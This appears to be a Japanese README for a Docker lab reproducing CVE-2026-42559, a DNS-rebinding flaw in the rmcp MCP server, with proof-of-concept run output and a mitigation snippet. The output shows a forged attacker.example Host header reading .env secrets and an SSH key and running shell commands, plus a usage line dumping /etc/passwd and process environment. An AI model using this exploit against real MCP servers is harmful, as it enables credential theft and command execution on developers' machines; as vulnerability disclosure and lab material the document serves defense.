.
├── docker-compose.yml       # 2 つのサービス、同じソース、異なる rmcp バージョン
├── mcp-server/              # 現実的な「開発者アシスタント」MCP サーバー
│   ├── Cargo.toml
│   ├── Dockerfile           # RMCP_VERSION ビルド引数でクレートを固定
│   └── src/main.rs
└── exploit/
    └── exploit.py           # PoC、Python 3.9+、依存関係なし

docker compose up -d --build

python3 exploit/exploit.py --target 127.0.0.1:8000

CVE-2026-42559 :: rmcp Streamable HTTP -- Host ヘッダーが検証されていません
    target       http://127.0.0.1:8000/mcp
    legit Host   127.0.0.1:8000
    rebind Host  mcp-rebind.attacker.example:8000

[*] step 0: 正当な Host ヘッダーによるベースラインハンドシェイク
[+] 200 OK -- サーバー稼働中: rmcp 1.3.0

[*] step 1: リバインディング後のリクエストを再送信（Host: mcp-rebind.attacker.example:8000）
[!] 200 OK -- 偽造された Host ヘッダーが受け入れられました: CVE-2026-42559 に対して脆弱
[+] 外部オリジンからセッションが開かれました: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57

[*] step 2: 攻撃者のページに公開されたツールを列挙
        - read_file    ワークステーションからファイルを読み取る
        - run_command  ワークステーションでシェルコマンドを実行する
        - whoami       このアシスタントが実行されているワークステーションを説明する

[*] step 3: 攻撃者ページがローカル MCP クライアントであるかのようにツールを呼び出し
    tools/call whoami
        | user=unknown host=35b31d892a7a pid=1
    tools/call read_file path=/home/dev/project/.env
        | STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
        | DATABASE_URL=postgres://app:[email protected]:5432/app
    tools/call read_file path=/home/dev/.ssh/id_ed25519
        | -----BEGIN OPENSSH PRIVATE KEY-----
        | FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
        | -----END OPENSSH PRIVATE KEY-----
    tools/call run_command command='id; uname -a'
        | uid=1000(dev) gid=1000(dev) groups=1000(dev)
        | Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux

[!] Web ページから被害者ホスト上での任意の読み取りとコマンド実行が可能

python3 exploit/exploit.py --target 127.0.0.1:8001

[*] step 0: 正当な Host ヘッダーによるベースラインハンドシェイク
[+] 200 OK -- サーバー稼働中: rmcp 1.4.0

[*] step 1: リバインディング後のリクエストを再送信（Host: mcp-rebind.attacker.example:8001）
[+] 403 Forbidden -- Forbidden: Host ヘッダーは許可されていません
[+] 脆弱ではありません: このビルドは Host ヘッダーを検証します（rmcp >= 1.4.0）

python3 exploit/exploit.py \
  --target 127.0.0.1:8000 \
  --rebind-host wallet.attacker.example \
  --loot /etc/passwd \
  --command 'cat /proc/self/environ | tr "\0" "\n"'

// 1. アップグレードする。
//    rmcp = "1.4"   （またはそれ以降）

// 2. 1.4.0 以降はループバックのみがデフォルト — ローカルにバインドされた
//    サーバーでは何もする必要はありません。
let config = StreamableHttpServerConfig::default();

// 3. 実際の公開デプロイメントでは、自前の名前を許可リストに追加します。
let config = StreamableHttpServerConfig::default()
    .with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);